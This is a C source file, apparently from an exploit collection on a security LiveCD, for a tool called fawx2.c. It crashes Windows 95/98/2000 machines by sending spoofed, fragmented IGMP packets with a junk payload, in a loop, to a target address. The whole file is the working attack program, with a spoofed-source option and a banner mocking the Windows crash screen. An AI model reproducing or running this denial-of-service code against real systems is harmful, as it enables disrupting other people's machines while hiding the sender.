home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / fawx2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  208 lines

  1. /* fawx2.c -- very interesting results on win00/98/95 boxen..         
  2.    based on fawx.c by ben-z, and koc.c by klepto/defile
  3.    modifications by: heeb[@slacknet.org] || www.slacknet.org
  4. */
  5. #include <stdio.h>
  6. #include <unistd.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. #include <sys/types.h>
  10. #include <sys/time.h>
  11. #include <sys/socket.h>
  12. #include <netdb.h>
  13. #include <netinet/in.h>
  14. #include <netinet/ip.h>
  15. #include <netinet/ip_icmp.h>
  16. #include <netinet/igmp.h>
  17.  
  18. void banner(void) {
  19. printf("[0m[2J[1;1H[0;25;34;44m███████████████████████████████████████████████████████████████[0m\n");
  20. printf("[34;44m███████████████████████████████████████████████████████████████[0m\n");
  21. printf("[34;44m██████████████████████████[47mfawx2.c[44m██████████████████████████████[0m\n");
  22. printf("[34;44m██[1;37mA fatal exception OE has occured at FOAD:42494C4[0;34;44m█████████████[0m\n");
  23. printf("[34;44m██[1;37mthe current application will be terminated.[0;34;44m██████████████████[0m\n");
  24. printf("[34;44m███████████████████████████████████████████████████████████████[0m\n");
  25. printf("[34;44m██[1;37m* Press any key to terminate the current application.[0;34;44m████████[0m\n");
  26. printf("[34;44m██[1;37m* Press CTRL+ALT+DELETE again to restart your computer.[0;34;44m██████[0m\n");
  27. printf("[34;44m████[1;37mYou will lose any unsaved information in all applications.[0;34;44m█[0m\n");
  28. printf("[34;44m███████████████████████████████████████████████████████████████[0m\n");
  29. printf("[34;44m██████████████████[1;37mPress any key to continue.[0;34;44m███████████████████[0m\n");
  30. printf("[34;44m███████████████████████████████████████████████████████████████[0m\n\n");
  31. }
  32.  
  33. unsigned int port = 139;
  34. char junk[] =
  35.     "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  36.     "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
  37.     "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  38.     "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  39.     "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
  40.     "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  41.     "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  42.     "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
  43.     "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  44.     "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  45.     "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
  46.     "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  47.     "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  48.     "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
  49.     "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  50.     "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  51.     "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
  52.     "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  53.     "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  54.     "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
  55.     "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  56.     "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  57.     "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x80\xe8\xdc\xff\xff\xff"
  58.     "\x20\x3f\x5e\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  59.     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
  60.  
  61. void usage(const char *progname) {
  62.  
  63.      printf("[**] syntax: %s <spoof host> <target host> <number>\n",progname);
  64.  
  65. }
  66.  
  67. int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) {
  68.  
  69.    struct hostent *host;
  70.    port = 139;
  71.    memset(addr,0,sizeof(struct sockaddr_in));
  72.  
  73.    addr->sin_family = AF_INET;
  74.    addr->sin_addr.s_addr = inet_addr(name);
  75.  
  76.    if (addr->sin_addr.s_addr == -1) {
  77.       if (( host = gethostbyname(name) ) == NULL )  {
  78.          fprintf(stderr,"\nuhm.. %s doesnt exist :P\n",name);
  79.          return(-1);
  80.       }
  81.       addr->sin_family = host->h_addrtype;
  82.       memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
  83.    }
  84.  
  85.    addr->sin_port = htons(port);
  86.    return(0);
  87.  
  88. }
  89.  
  90. unsigned short in_cksum(addr, len)
  91.     u_short *addr;
  92.     int len;
  93. {
  94.     register int nleft = len;
  95.     register u_short *w = addr;
  96.     register int sum = 0;
  97.     u_short answer = 0;
  98.  
  99.     while (nleft > 1)  {
  100.         sum += *w++;
  101.         nleft -= 2;
  102.     }
  103.  
  104.     if (nleft == 1) {
  105.         *(u_char *)(&answer) = *(u_char *)w ;
  106.         sum += answer;
  107.     }
  108.  
  109.     sum = (sum >> 16) + (sum & 0xffff);
  110.     sum += (sum >> 16);         
  111.     answer = ~sum;              
  112.     return(answer);
  113. }
  114.  
  115. int send_fawx(int socket,
  116.                  unsigned long spoof_addr,
  117.                  struct sockaddr_in *dest_addr) {
  118.  
  119.    unsigned char  *packet;
  120.    struct iphdr   *ip;
  121.    struct igmphdr *igmp;
  122.    int rc;
  123.         
  124.    packet = (unsigned char *)malloc(sizeof(struct iphdr) + strlen(junk) + sizeof(struct igmphdr) + 1500);
  125.    strcat(packet, junk);
  126.    ip = (struct iphdr *)packet;
  127.    igmp = (struct igmphdr *)(packet + sizeof(struct iphdr));
  128.  
  129.    memset(ip,0,sizeof(struct iphdr) + strlen(junk) + sizeof(struct igmphdr) + 1500);
  130.    
  131.    ip->ihl      = 5;
  132.    ip->version  = 4;
  133.    ip->id       = htons(27565);
  134.    ip->frag_off |= htons(0x2000);
  135.    ip->ttl      = 255;
  136.    ip->protocol = IPPROTO_IGMP;
  137.    ip->saddr    = spoof_addr;
  138.    ip->daddr    = dest_addr->sin_addr.s_addr;
  139.    ip->check    = in_cksum(ip, sizeof(struct iphdr));
  140.  
  141.  
  142.    igmp->type              = 2;
  143.    igmp->code              = 31;
  144.  
  145.    if (sendto(socket,
  146.               packet,
  147.               sizeof(struct iphdr) + strlen(junk) +
  148.               sizeof(struct igmphdr) + 2,0,
  149.               (struct sockaddr *)dest_addr,
  150.               sizeof(struct sockaddr)) == -1) { return(-1); }
  151.    
  152.  
  153.    ip->tot_len  = htons(sizeof(struct iphdr) + strlen(junk) + sizeof(struct igmphdr) + 1500);
  154.    ip->frag_off = htons(8 >> 3);
  155.    ip->frag_off |= htons(0x2001);
  156.    ip->check    = in_cksum(ip, sizeof(struct iphdr));
  157.  
  158.    igmp->type = 2;
  159.    igmp->code = 31;
  160.  
  161.    if (sendto(socket,
  162.               packet,
  163.               sizeof(struct iphdr) + strlen(junk) +
  164.               sizeof(struct igmphdr) + 2,0,
  165.               (struct sockaddr *)dest_addr,
  166.               sizeof(struct sockaddr)) == -1) { return(-1); }
  167.  
  168.    free(packet);
  169.  /*  printf(".");  <- it looked way too ugly :P */
  170.    return(0);
  171.  
  172. }
  173.  
  174. int main(int argc, char * *argv) {
  175.  
  176.    struct sockaddr_in dest_addr;
  177.    unsigned int i,sock;
  178.    unsigned long src_addr;
  179.  
  180.    banner();
  181.    if ((argc != 4)) {
  182.       usage(argv[0]);
  183.       return(-1);
  184.    }
  185.    
  186.    if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 
  187.       fprintf(stderr,"error opening raw socket. <got root?>\n");
  188.       return(-1);
  189.    }
  190.    
  191.    if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
  192.    src_addr = dest_addr.sin_addr.s_addr;
  193.  
  194.    if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
  195.  
  196.    printf("[**] sending igmp-2/31+frag attacks to: %s.",argv[2]);
  197.    for (i = 0;i < atoi(argv[3]);i++) {
  198.       if (send_fawx(sock,
  199.                        src_addr,
  200.                        &dest_addr) == -1) {
  201.          fprintf(stderr,"error sending packet. <got root?>\n");
  202.          return(-1);
  203.       }
  204.       usleep(10000);
  205.     }
  206.   printf(" *eof*\n");
  207. }
  208. /*                    www.hack.co.za           [26 July 2000]*/